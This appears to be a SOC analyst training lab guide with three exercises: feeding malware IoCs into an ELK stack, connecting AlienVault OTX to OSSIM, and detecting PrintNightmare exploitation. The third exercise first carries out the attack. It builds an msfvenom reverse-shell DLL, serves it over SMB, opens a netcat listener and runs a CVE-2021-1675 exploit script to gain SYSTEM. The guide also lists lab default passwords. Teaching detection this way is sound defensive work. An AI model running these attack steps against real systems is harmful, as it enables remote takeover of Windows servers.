All Exercises

​Exercise 1: Enhanced Incident Detection with Threat Intelligence
ELK is a combination of Elasticsearch, Logstash, and Kibana projects.

Lab Scenario
Threat intelligence, presented in the form of Indicators of Compromise (IoCs) or threat feeds, provides evidence-based knowledge regarding an organization’s unique threat landscape. As a SOC analyst, you should be able to identify the IoCs of malicious behavior and how to integrate them into ELK Stack.
Lab Objectives
The objective of this lab is to help students to learn how to integrate malware IoCs in ELK stack.
Lab Tasks
  1. Click SIEM1 then, click Ctrl+Alt+Del.


  2. By default Administrator account is selected, type Pa$$w0rd and press Enter to login.


  3. Navigate to E:\SOC-Tools\ Module 05 Enhanced Incident Detection with Threat Intelligence and copy ELK Folder.


  4. Paste the copied ELK folder under C: drive.


  5. Right-click and unzip all the zip files under C:\ELK. Delete the zip files after unzipping.


  6. Navigate to E:\SOC-Tools\Module 05 Enhanced Incident Detection with Threat Intelligence\NSSM and copy nssm-2.24 folder.


  7. Paste the copied nssm-2.24 folder under C:\ELK. Close the Windows Explorer.


  8. To install elasticsearch service, click Windows Start button. Right-click on Windows PowerShell Command Prompt and click Run as Administrator from the context menu.


  9. Type 
    Invoke-Expression -command "C:\ELK\elasticsearch-6.5.4\bin\elasticsearch-service install" and press Enter.


  10. You will see The service 'elasticsearch-service-x64' has been installed. in the command window.


  11. Type 
    Invoke-Expression -command "C:\ELK\elasticsearch-6.5.4\bin\elasticsearch-service manager" 
    and press enter.


  12. The Elasticsearch service Properties windows will open; change the startup type as Automatic and click Start to start the service. Click OK.


  13. You will see Successfully started service manager for 'elasticsearch-service-x64'. in the command window.


  14. Navigate to C:\ELK\elasticsearch-6.5.4\config folder. Right-click elasticsearch.yml file and click Edit with Notepad++ to open the file with notepad++.


  15. Go to Line no. 55 under Network section and remove **# ** to uncomment line. Change line network.host: 192.168.0.1 to network.host: "0.0.0.0". Click Save to save the file and close it.


  16. To test the elasticsearch configurations Launch Google Chrome browser, type http://localhost:9200/ and press Enter. You will see the web page as shown in following screenshot. This indicates that the elasticsearch is installed successfully.Close the Google Chrome browser.
    Note: If you do not see the output check if elasticsearch service is running or not. If elasticsearch service is not running start the service and refresh the browser this may take a while.


  17. To create logstashpipeline.conf file, go to Windows PowerShell, type 
    notepad C:\ELK\logstash-6.5.4\bin\logstashpipeline.conf 
    and press Enter.

  18. Notepad will open with alert popup message as shown in following screenshot. click Yes button.

To add the below configuration in logstashpipeline.conf type

input {
     beats {
                port => "5044"
     }
}
output {
            elasticsearch {
                     hosts => "localhost:9200" manage_template => false
                     index => "%{[@metadata][beat]}-%{+YYYY.MM.dd}" document_type => "%{[@metadata][type]}"
       }
}

  1. Save and close the logstashpipeline.conf file.
  2. To install logstash, switch to Windows PowerShell. Type 
    Invoke-Expression -command "C:\ELK\nssm-2.24\win64\nssm install Logstash" 
    and press Enter. The NSSM service installer will open.


  3. In the Application tab, click Path Textbox and type 
    C:\ELK\logstash-6.5.4\bin\logstash.bat
  4. Click Startup directory and type 
    C:\ELK\logstash-6.5.4\bin
  5. Click Arguments Textbox adn type 
    -f logstashpipeline.conf
  6. To install Logstash service click Install service button.

  7. "Service “Logstash” installed Successfully!" message will appear. Click OK.

  8. Close all open applications and folders.
  9. Right-click windows start button, Click Search and type service into search field, click on Services to open Services window.

  10. To start Logstash service, Search and select LogStash service, click on Start in the left pane.

  11. You will see Logstash service will be started.

  12. Open Windows PowerShell, type 
    Invoke-Expression -command "C:\ELK\nssm-2.24\win64\nssm install Kibana" 
    command, and press Enter to install Kibana.
  13. NSSM service installer will open.


  14. In the Application tab, click Path Textbox and type 
    C:\ELK\kibana-6.5.4-windows-x86_64\bin\kibana.bat
  15. Click Startup directory and type 
    C:\ELK\kibana-6.5.4-windows-x86_64\bin
  16. To install Kibana service click Install service button.
  17. "Service “Kibana” installed Successfully!" message will appear. Click OK.


  18. Navigate to C:\ELK\kibana-6.5.4-windows-x86_64\config folder and right-click on kibana.yml file and click Edit with Notepad++.


  19. Go to Line no 7, remove **# ** to uncomment line, change the line to **server.host: “10.10.1.16” **.Click Save to save the file and close it.


  20. To start Kibana service, Launch Services window and select Kibana service. Click Start in left pane.


  21. You will see Kibana service will be started.


  22. Close all open applications and folders.
  23. Launch Google chrome browser, type http://10.10.1.16:5601 and press Enter. The Kibana home page appears as shown in following screenshot.Close the browser.
    Note: If you see Kibana server is not ready yet, refresh the browser few times till you see Kibana home page.


  24. Launch WinServer2012.
  25. click Ctrl+Alt+Del.


  26. By default Administrator account is selected, type Pa$$w0rd and press Enter to login.


  27. Navigate to E:\SOC-Tools\ Module 05 Enhanced Incident Detection with Threat Intelligence and copy Beats folder.


  28. Paste the copied Beats folder under C: Drive.


  29. Open Beats folder. Right-click and unzip the winlogbeat-6.5.4-windows-x86_64.zip file under C:\Beats. Delete the zip file after unzipping.


  30. click Windows Start button. Right-click on Windows PowerShell icon and click Run as Administrator from the context menu..


  31. To check connection between ELK and Endpoint type Test-NetConnection 10.10.1.16 -port 5044 and press Enter.


  32. You will see TcpTestSuccesseded: true in the command window.
    Note: If TcpTestSuccesseded: false, then check connection between ELK Server (SIEM1) and WinServer2012.


  33. To navigate to winlogbeat directory, type Cd C:\Beats\winlogbeat-6.5.4-windows-x86_64 ,press Enter.


  34. Type PowerShell.exe -ExecutionPolicy UnRestricted -File .\install-service-winlogbeat.ps1 and press Enter.
    Note: If Security warning message appears, type R and press Enter to continue.


  35. You will see winlogbeat will be sucessfully installed and the status of winlogbeat service will be Stopped.


  36. Navigate the location C:\Beats\winlogbeat-6.5.4-windows-x86_64 and open the file winlogbeat.yml with Notepad++.


  37. In Kibana section under setup.kibana: Line no 71, delete **# ** to uncomment line and change host: "localhost:5601" to host: "10.10.1.16:5601".


  38. In Elasticsearch output section **add # ** to comment Line no 96 and 98.


  39. In Logstash output section under output.logstash: **delete # ** from beginning of Line no 106 and 108 to uncomment and change hosts: ["localhost:5044"] to hosts: ["10.10.1.16:5044"] .


  40. Save the file winlogbeat.yml and close.
  41. To test winlogbeat configuration, Switch to the Windows PowerShell and type .\winlogbeat.exe test config -c .\winlogbeat.yml –e and press Enter
    Note: In powershell window you should be in winlogbeat-6.5.4-windows-x8664 directory before executing the above command. If not refer step no. 47 to navigate to winlogbeat-6.5.4-windows-x8664 directory.


  42. Config Ok message will display as shown in following screenshot.


  43. Launch SIEM1 virtual machine.
  44. Right-click windows start button, Click Search and type service into search field, click on Services to open Services window.
  45. To Restart Logstash service, select Logstash service. Click Restart in left pane.


  46. To Restart Elasticsearch service, select Elasticsearch service. Click Restart in left pane.


  47. To Restart Kibana service, select Kibana service. Click Restart in left pane.


  48. To ensure Kibna service is restarted sucessfully, launch Google chrome browser, type http://10.10.1.16:5601 and press Enter. The Kibana home page appears as shown in following screenshot.Close the browser.
    Note: If you see Kibana server is not ready yet, refresh the browser few times till you see Kibana home page.


  49. Launch WinServer2012
  50. To load the index templet in Elasticsearch manually, open Windows PowerShell .\winlogbeat.exe setup --template -E output.logstash.enabled=false -E 'output.elasticsearch.hosts=["10.10.1.16"]' command and press Enter. You will see Loaded index templet message in the Poweshell window.


  51. To setup the Kibana dashboard, type .\winlogbeat.exe setup -dashboards command and press Enter. You will see Loaded dashboards message in the Poweshell window.


  52. Finally, to start the winlogbeat service, type Start-Service winlogbeat and press Enter.


  53. Close all application.
  54. Switch to SIEM1 virtual machine.
  55. Navigate to E:\SOC-Tools\Module 05 Enhance Incident Detection with Threat Intelligence and copy the malware.yml file.


  56. Paste the copied malware.yml file in C:\ELK\logstash-6.5.4.


  57. Navigate to C:\ELK\logstash-6.5.4\bin. Open the logstashpipeline.conf file with Notepad++.


  58. To include the filter for logstash. Press Enter after the input block [Line no. 4] and click
    filter { translate { field => "message" destination => "Malware" dictionary_path => "C:\ELK\logstash-6.5.4\malware.yml" fallback => "NO" "exact" => true "regex" => true } }

  59. Save and close the logstashpipeline.conf file.
  60. To Restart Logstash service, Launch Services window and select Logstash service. Click Restart in left pane.


  61. Launch Google Chrome browser and type http://10.10.1.16:5601 and press Enter, to open Kibana home page.
    Note: Make sure Elasticsearch, Logstash, kibana services are running.


  62. Click on Management menu in Kibana home page.To create a Index pattern, Click Index Patterns


  63. Type winlogbeat-* in the Index pattern field and click Next step.
    Note: If you see ** There is already a index pattern with name winlogbeat-* ** message then skip to step 75.


  64. Select I don’t want to use the Time Filter in Time Filter field name and click Create index pattern.


  65. You will see the created winlogbeat-* index pattern along with list of fields.


  66. Click Discover menu, you will see winlogbeat-* index pattern and logs associated with winlogbeat.


  67. Click Auto-refresh and select Refresh Interval as 1 minute.


  68. Type wikiworm.exe in the >_ Search..(e.g. Status:200 AND extension:PHP) textbox and click Update. You will see No result match your search criteria; leave browser open.


  69. Switch to WinServer2012.
  70. Navigate to E:\SOC-Tools\Module 05 Enhance Incident Detection with Threat Intelligence and copy the wikiworm folder.


  71. Paste the copied wikiworm folder in C: drive.


  72. Navigate to C:\wikiworm folder and double-click wikiworm.exe file. A pop-up box box appear, click OK.


  73. Switch to SIEM SIEM1 virtual machine, click on Refresh button in Kibana home page.You will find Event logindicating execution of wikiworm, click the arrow before the event to expand event log.You will see, the wikiworm.exe process is marked "YES" in the malware column.


  74. In this way, you can integrate IoCs of certain malicious behavior in ELK stack to identify it as a malicious activity.
End of the Exercise

In this exercise you have learnt how to integrate malware IoCs in ELK stack.

Exercise 2: Integrating OTX Threat Data in OSSIM
The AlienVault Open Threat Exchange (OTX) is the open threat information sharing and analysis network.
Lab Scenario
The OTX provides open access to a global community of threat researchers and security professionals. The OTX community reports on and receives threat data in the form of pulses. As a SOC analyst, you should be able to integrate OTX pulses into OSSIM to consume threat intelligence feed.
Lab Objectives
The objective of this lab is to help student to learn how to integrate OTX pulses into OSSIM.
Lab Tasks
  1. Launch SIEM2, click Ctrl+Alt+Del.


  2. By default Admin account is selected, type Pa$$w0rd and press Enter to login.


  3. Launch Chrome browser and type https://otx.alienvault.com and press Enter to access AlienVault OTX home page.
  4. In the SIGN UP form, fill the required details and click on SIGN UP button to sign up for AlienVault OTX website.


    Note: Please provide a working e-mail ID at the time of registration. Once the registration is done, you will receive an activation e-mail. Activate your account as instructed in the e-mail to use the tool.


  5. After successful signing up, login to AlienVault OTX account with user name and password details.By default, the AlienVault Settings page appears. The Settings page contains the settings of your OTX account as well as OTX key and Email Notifications. Copy the OTX Key.and close the web browser.


  6. Launch OSSIMServer, Click Ctrl+Alt+Del. Wait for the login screen to appear. Type root as the username and press Enter key. Type toor as password and press Enter.


  7. AlienVault Setup screen appears as shown in the screenshot.


  8. Switch to SIEM2.
  9. Launch browser, type https://10.10.1.14, in the address bar and press Enter.Your connection is not private page appears, click Advanced.


  10. Click Proceed to 10.10.1.14 (unsafe) link. Here, the IP address of the OSSIM machine is 192.168.0.55.


  11. Administartor Account Creation page appears. Enter admin in FULL NAME field, admin@123 in PASSWORD and CONFIRM PASSWORD fields give the email address used for creating alienvault otx account and click START USING ALIENVAULT.


  12. Login screen appears. Enter admin in USERNAME field, admin@123 in PASSWORD field and click LOGIN.


    Note: If HELP US IMPROVE ALIENVAULT OSSIM popup appears click CANCEL.
  13. **Welcome to the AlienVault OSSIM Getting Started Wizard ** page appears. Click Skip AlienVault Wizard


  14. The DASHBOARD window appears.


  15. Navigate to **CONFIGURATION -->OPEN THREAT EXCHANGE ** menu. OPEN THREAT EXCHANGE page appear, paste the copied OTX Key into the OTX Key text box, click on CONNECT OTX ACCOUNT.


  16. The OTX account will be linked and user name will be seen as shown following screenshot.


  17. OSSIM will connect to the OTX account and start downloading the OTX pulses, this will take some time.Refresh the page and you will see that the subscribed pulses start downloading.


  18. Now, OSSIM will automatically detect and notify the activities on the network against the subscribed OTX pulses.
  19. Close all the open windows.
End of the Exercise
In this exercise you have learnt how to integrate how to integrate OTX pulses into OSSIM.

Exercise 3: Integrating Print Spooler Exploitation IoCs into ELK Stack for Enhanced Threat Detection
ELK is a combination of Elasticsearch, Logstash, and Kibana projects.
Lab Scenario
The Windows Print Spooler service manages a device's printing jobs. An RCE vulnerability exists in this service when it improperly performs privileged file operations. PrintNightmare (CVE-2021-1675) RCE is a vulnerability in the Windows Print Spooler service that allows an attacker to take over the server running the Print Spooler service with the help of a regular user account. As a SOC analyst, you should be able to identify the IoCs of such Print Spooler RCE vulnerability exploitation
Lab Objectives:
The objective of this lab is to learn how to detect the attempt of exploiting Print Spooler (PrintNightmare (CVE-2021-1675) ) RCE vulnerability using the ELK stack.
Lab Tasks
  1. Login to Parrot CSA machine and launch a terminal. Type sudo su, hit Enter and type password for attacker as toor and hit Enter again to gain privileged terminal. Navigate to root as shown below by using cd command.
 
  1. Type mkdir smb to create a directory smb at the root folder.
 
  1. Now create a reverse shell .dll file using msfvenom. Type the following command and hit Enter:
    msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.1.15 LPORT=9001 -f dll -o /smb/reverseshell.dll
    Here, -a defines the architecture to use;
    ​ -p specifies the payload to use;
    ​ LHOST is the IP address of the attacker machine;
    ​ LPORT is the port to use for the reverse connection;
    ​ -f specifies the output format;
    ​ -o specifies the location and name of the output file.
 
  1. We can change directory (cd) to smb and see the reverseshell.dll file create in the above step.
 
  1. Next, use impacket to create SMB server. Type the following command and hit Enter:
    impacket-smbserver smb /smb/
 
  1. Open a new terminal, gain root privilege and navigate to root (as demonstrated in step 1). Type nc -nvlp 9001 to launch a netcat listener. Keep the listener running and minimize the terminal.
 
  1. Open a new terminal, gain root privilege and navigate to root (as demonstrated in step 1). Change directory to CVE-2021-1675-main as shown below.
 
  1. Now, type the following command and hit Enter:
    python3 CVE-2021-1675.py WinServer2016/Martin:[email protected] '\\10.10.1.15\smb\reverseshell.dll'
    Here,
    CVE-2021-1675.py is a python script to exploit print spooler vulnerability;
    WinServer2016 is the target machine;
    Martin is a user on the target machine with a normal user privilege;
    user123 is bob's password;
    10.10.1.216 is the IP address of the target machine;
    10.10.1.15 is the IP address of the attacker machine.


  1. Now, switch back to the terminal running netcat listener. You can see that we have got a shell on the target Windows machine.
 
  1. Type whoami to check the privilege level of the shell on the target machine. Here, we can see that we have got a highest level system privilege.
    Note: we have used a normal user's credentials and with this exploit we have gained system level access.
 
  1. Now, login to the target machine, CSA Windows Server 2016 . We can verify the successful injection of the reverseshell.dll at C:\Windows\System32\spool\drivers\x64\3 directory.
 
  1. Now, open the Event Viewer, we can check various Print Spooler logs generated during this exploitation.

  1. Launch SIEM1 Virtual Machine.
  2. Navigate to E:\SOC-Tools\ Module 05 Enhanced Incident Detection with Threat Intelligence and copy ELK Folder and paste the copied ELK folder under C: drive. Right-click and unzip all the zip files under C:\ELK. Delete the zip files after unzipping.
  3. Navigate to E:\SOC-Tools\ Module 05 Enhanced Incident Detection with Threat Intelligence\NSSM and copy nssm-2.24 folder. Paste the copied nssm-2.24 folder under C:\ELK. Close the Windows Explorer.
  4. To install elasticsearch service, click Windows Start button. Right-click on Windows PowerShell Command Prompt and click Run as Administrator from the context menu.
  5. Type Invoke-Expression -command "C:\ELK\elasticsearch-6.5.4\bin\elasticsearch-service install" and press Enter.
 
  1. You will see The service 'elasticsearch-service-x64' has been installed. in the command window.
  2. Type Invoke-Expression -command "C:\ELK\elasticsearch-6.5.4\bin\elasticsearch-service manager" and press enter.
 
  1. The Elasticsearch service Properties windows will open; change the startup type as Automatic and click Start to start the service. Click OK.
 
  1. You will see Successfully started service manager for 'elasticsearch-service-x64'. in the command window.
  2. Navigate to C:\ELK\elasticsearch-6.5.4\config folder. Right-click elasticsearch.yml file and click Edit with Notepad++ to open the file with notepad++.
  3. Go to Line no. 55 under Network section and remove # to uncomment line. Change line network.host: 192.168.0.1 to network.host: "0.0.0.0". Click Save to save the file and close it.
 
  1. To test the elasticsearch configurations Launch Google Chrome browser, click http://localhost:9200/ and press Enter. You will see the web page as shown in following screenshot. This indicates that the elasticsearch is installed successfully.Close the Google Chrome browser.
 
  1. To create logstashpipeline.conf file, go to Windows PowerShell, click notepad C:\ELK\logstash-6.5.4\bin\logstashpipeline.conf and press Enter. Notepad will open with alert popup message as shown in following screenshot. click Yes button.
  2. To add the below configuration in logstashpipeline.conf Type

input {
     beats {
                port => "5044"
     }
}
output {
            elasticsearch {
                     hosts => "localhost:9200" manage_template => false
                     index => "%{[@metadata][beat]}-%{+YYYY.MM.dd}" document_type => "%{[@metadata][type]}"
       }
}

input {beats
{ port => 5044 }} output { elasticsearch { hosts => "localhost:9200" manage_template => false index => "%{[@metadata][beat]}-%{+YYYY.MM.dd}" document_type => "%{[@metadata][type]}" }}
 
  1. Save and close the logstashpipeline.conf file.
  2. To install logstash, switch to Windows PowerShell. Click Invoke-Expression -command "C:\ELK\nssm-2.24\win64\nssm install Logstash" and press Enter. The NSSM service installer will open.
  3. In the Application tab, click Path Textbox and click C:\ELK\logstash-6.5.4\bin\logstash.bat
  4. Click Startup directory and type C:\ELK\logstash-6.5.4\bin
  5. Click Arguments Textbox and type -f logstashpipeline.conf
    1. To install Logstash service click Install service button.
 
  1. "Service “Logstash” installed Successfully!" message will appear. Click OK.
  2. Close all open applications and folders.
  3. Right-click windows start button, Click Search and click service into search field, click on Services to open Services window.
  4. To start Logstash service, Search and select LogStash service, click on Start in the left pane.
  5. You will see Logstash service will be started.
  6. Open Windows PowerShell, type Invoke-Expression -command "C:\ELK\nssm-2.24\win64\nssm install Kibana" command, and press Enter to install Kibana.
  7. NSSM service installer will open.
  8. In the Application tab, click Path Textbox and click C:\ELK\kibana-6.5.4-windows-x86_64\bin\kibana.bat
  9. Click Startup directory and click C:\ELK\kibana-6.5.4-windows-x86_64\bin
  10. To install Kibana service click Install service button.
 
  1. "Service “Kibana” installed Successfully!" message will appear. Click OK.
  2. Navigate to C:\ELK\kibana-6.5.4-windows-x86_64\config folder and right-click on kibana.yml file and click Edit with Notepad++.
  3. Go to Line no 7, remove # to uncomment line, change the line to server.host: “10.10.1.16” .Click Save to save the file and close it.
 
  1. To start Kibana service, Launch Services window and select Kibana service. Click Start in left pane.
  2. You will see Kibana service will be started.
  3. Close all open applications and folders.
  4. Launch Google chrome browser, click http://10.10.1.16:5601 and press Enter. The Kibana home page appears as shown in following screenshot.Close the browser.


Note: If you see Kibana server is not ready yet, refresh the browser few times till you see Kibana home page.
  1. Launch Windows Server 2016 CSA virtual machine.
  2. Navigate to E:\SOC-Tools\ Module 05 Enhanced Incident Detection with Threat Intelligence and copy Beats folder. Paste the copied Beats folder under C: Drive.
  3. Open Beats folder. Right-click and unzip the winlogbeat-6.5.4-windows-x86_64.zip file under C:\Beats. Delete the zip file after unzipping.
  4. Click Windows Start button. Right-click on Windows PowerShell icon and click Run as Administrator from the context menu..
  5. To navigate to winlogbeat directory, click Cd C:\Beats\winlogbeat-6.5.4-windows-x86_64 ,press Enter. Type PowerShell.exe -ExecutionPolicy UnRestricted -File .\install-service-winlogbeat.ps1 and press Enter.


Note If Security warning message appears, type R and press Enter to continue.
  1. You will see winlogbeat will be sucessfully installed and the status of winlogbeat service will be Stopped.
  2. Navigate the location C:\Beats\winlogbeat-6.5.4-windows-x86_64 and open the file winlogbeat.yml with Notepad++. In Kibana section under setup.kibana: Line no 71, delete # to uncomment line and change host: "localhost:5601" to host: "10.10.1.16:5601".
 
  1. In Elasticsearch output section add # to comment Line no 96 and 98. In Logstash output section under output.logstash: delete # from beginning of Line no 106 and 108 to uncomment and change hosts: ["localhost:5044"] to hosts: ["10.10.1.16:5044"] .
 
  1. Save the file winlogbeat.yml and close.
  2. To test winlogbeat configuration, Switch to the Windows PowerShell and type .\winlogbeat.exe test config -c .\winlogbeat.yml –e and press Enter.
Note: In powershell window you should be in winlogbeat-6.5.4-windows-x86_64 directory before executing the above command. Config Ok message will display as shown in following screenshot.


  1. Launch SIEM1 virtual machine.
  2. Right-click windows start button, Click Search and click service into search field, click on Services to open Services window.
  3. To Restart Logstash service, select Logstash service. Click Restart in left pane.
  4. To Restart Elasticsearch service, select Elasticsearch service. Click Restart in left pane
  5. To Restart Kibana service, select Kibana service. Click Restart in left pane.
  6. Launch Windows Server 2016 CSA virtual machine.
  7. To load the index templet in Elasticsearch manually, open Windows PowerShell type .\winlogbeat.exe setup --template -E output.logstash.enabled=false -E 'output.elasticsearch.hosts=["10.10.1.16"]' command and press Enter. You will see Loaded index templet message in the Poweshell window.
 
  1. To setup the Kibana dashboard, type .\winlogbeat.exe setup -dashboards command and press Enter. You will see Loaded dashboards message in the Poweshell window.
 
  1. Finally, to start the winlogbeat service, type Start-Service winlogbeat and press Enter.
 
  1. Close all application.
  2. Launch Google Chrome browser and click http://10.10.1.16:5601 and press Enter, to open Kibana home page.
 
  1. Click on Management menu in Kibana home page.To create a Index pattern, Click Index Patterns. Type winlogbeat-* in the Index pattern field and click Next step. Select I don’t want to use the Time Filter in Time Filter field name and click Create index pattern. You will see the created winlogbeat-* index pattern along with list of fields.
 
  1. Click Discover menu, you will see winlogbeat-* index pattern and logs associated with winlogbeat. Type Print in the >_ Search..(e.g. Status:200 AND extension:PHP) textbox and click Update. You will find Event logs indicating suspicious use of print spooler service.
Proudly powered by Weebly